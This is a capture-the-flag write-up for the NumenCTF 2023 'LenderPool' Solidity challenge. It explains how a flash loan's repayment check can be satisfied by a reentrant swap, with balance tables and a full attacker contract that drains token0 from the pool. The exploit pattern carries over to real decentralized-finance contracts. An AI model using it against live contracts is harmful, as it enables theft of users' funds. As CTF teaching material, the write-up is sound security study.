Skip to content

Lenderpool

Introduction

The objective is to drain all available token0 from lenderPool.

Here's the source code: https://github.com/numencyber/NumenCTF_2023/blob/main/reca2/contracts/Re.sol

Environment

These are the IDEs and langauges used to set up the environment.

  • Remix IDE

  • Ganache-cli

Setup

Here's a quick setup

1) Download ganache-cli with yarn global add ganache

2) Run ganache-cli with ganache-cli

3) Go to remix IDE -> Deploy & Run transaction -> Environment -> Choose 'Dev - Ganache Provider'

4) Create a solidity file -> copy and paste the smart contract

5) Compile and deploy

6) Start messing around

Code Breakdown

There are 2 contracts to look at LenderPool and Check

Check

The first thing to look at is function isSolved(). The clear condition is to drain all token0 from lenderPool.

function isSolved()  public view returns(bool){
    if(token0.balanceOf(address(lenderPool)) == 0){
        return  true;
    }
    return false;
}

LenderPool

The next 2 functions to look at is swap and flashLoan

flashLoan

This is a simple flash loan function that can only be called by another smart contract.

Here's an ELI5 of what it does: - You can only flash loan token0 - Ensure that the current balance of token0 is equal or more than the amount that is needed to be borrowed - It calls for the function receiveEther(uint256) in the calling contract - It checks the current balance after flash loan to ensure that the amount is the same or more than before the loan.

uint256 balanceAfter = token0.balanceOf(address(this)); 
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");

swap

This function swaps the amount of token0 with token1 vice versa.

Hints

You'll need to create a smart contract to do the following:

1) Flash loan all available token0 in LenderPool 2) Using the swap function, convert token1 to token0 to trick the smart contract into 'returning' the flashloan 3) Using the swap function, convert the remaining token0 into token1

Solutions

The confusing portion is the swap function.

Here's the detailed breakdown of what is happening.

Note: There is 100000000000000000000 available tokens but for simplicity sake, I'll just put it as 100.

This is the default setup in LenderPool

LenderPool Attacker
token0 token1 token0 token1
100 100 0 0

After calling receiveFlashLoan().

Note: Function is based on the solution provided at the bottom | LenderPool || Attacker|| | - | - | - | - | | token0 | token1 | token0 | token1 | | 0 | 100 | 100 | 0 |

LenderPool calls for receiveEther(uint256) in attacker contract

A swap in LenderPool is conducted where all token1 is converted to token0. | LenderPool || Attacker|| | - | - | - | - | | token0 | token1 | token0 | token1 | | 100 | 0 | 100 | 0 |

LenderPool checks that token0 is the same as before the flashloan.

With that, flashLoan ended.

Using swap again, we'll convert existing token0 into token1 in LenderPool. | LenderPool || Attacker|| | - | - | - | - | | token0 | token1 | token0 | token1 | | 0 | 100 | 100 | 0 |

As such, LenderPool has 0 token0.

Calling isSolved() from Check will return true.

Here's the attacker smart contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;

import './lender_pool.sol';

contract LenderPool_attack {

    LenderPool public lenderPool;
    IERC20 public token0;
    IERC20 public token1;

    constructor(LenderPool _lenderPool){
        lenderPool = LenderPool(_lenderPool);
        token0 = lenderPool.token0();
        token1 = lenderPool.token1();
    }

    function getTokens() public view returns (uint256, uint256){
        return (token0.balanceOf(address(lenderPool)), token1.balanceOf(address(lenderPool)));
    }

    function receiveEther(uint256 amount) external{
        lenderPool.swap(address(token1), amount);
    }

    function receiveFlashLoan() public{
        token0.approve(address(lenderPool), token0.balanceOf(address(lenderPool)));
        token1.approve(address(lenderPool), token1.balanceOf(address(lenderPool)));
        lenderPool.flashLoan(
            token0.balanceOf(address(lenderPool)),
            address(this)
        );
        lenderPool.swap(address(token0), token0.balanceOf(address(lenderPool)));
    }
}